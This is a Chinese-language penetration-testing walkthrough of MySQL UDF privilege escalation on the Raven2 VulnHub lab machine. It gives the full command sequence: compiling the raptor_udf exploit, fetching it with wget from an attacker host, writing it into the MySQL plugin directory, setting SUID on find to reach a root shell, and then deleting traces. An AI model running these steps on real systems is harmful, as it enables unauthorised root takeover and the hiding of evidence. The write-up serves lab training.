漏洞说明
UDF是mysql的一个拓展接口,UDF(User defined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。用户可以通过UDF添加自定义函数,在sql语句中直接调用。当我们有了数据库读取和写⼊权限以后,我们就可以尝试使⽤UDF提权的⽅法,从数据库root权限提升到系统的管理员权限。
udf提权条件
-
掌握MySQL数据库的账户密码,拥有对mysql的insert和delete权限,以创建和抛弃函数。
-
当前⽤户拥有可以将udf.dll写⼊相应⽬录的权限。
-
如果MySQL版本小于5.1且为Windows系统,则udf.dll⽂件存放在 C:windows 或者 C:windowssystem32⽬录下。
-
如果MySQL版本⼤于5.1,udf.dll⽂件必须放置在MySQL安装⽬录的lib/plugin⽂件夹下,该plugin⽬录默认,不存在需要创建
漏洞复现
使用Raven2靶机进行漏洞复现
下载地址:https://www.vulnhub.com/entry/raven-2,269/
通过CVE-2016-10033远程代码执行漏洞获取到了靶机的webshell权限
利用LinEnum查看linux信息, 将 LinEnum.sh 脚本导入到靶机中,该脚本可以枚举各种 Linux 系统的各种信息
https://github.com/rebootuser/LinEnum #下载地址
chmod +x LinEnum.sh # 赋予执行权限
./LinEnum.sh # 执行
从wordpress的配置文件wp-config.php中可以发现数据库账号密码
root
R@v3nSecurity
之后查看进程发现,Mysql服务以root权限启动,因此想到利用Mysql UDF提权
用python切换到交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
通过账号密码连接mysql,查看版本
mysql -u root -p
R@v3nSecurity
select version();
发现可以进行Mysql udf提权,查询相关的exploit
searchsploit mysql udf # 查找exp
searchsploit -m 1518.c # 下载使用1518.c
查看1518.c文件的使用说明
cat 1518.c
使用文件内操作方法进行编译,生成so文件后上传到靶机上
mv 1518.c raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
将so文件下载到靶机
python3 -m http.server 8088
wget http://192.168.175.140:8088/raptor_udf.so
接下来使用脚本中的方法执行mysql命令
mysql -u root -p
R@v3nSecurit
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';create function do_system returns integer soname 'raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
select * from mysql.func;
创建成功后执行以下命令,成功提权到root权限
select do_system('chmod u+s /usr/bin/find');
find . hello -exec "/bin/sh" ;
清理痕迹
drop function do_system;
Delete from mysql.func where name='do_system';
原文始发于微信公众号(渗透笔记):Linux提权(六)MYSQL UDF提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论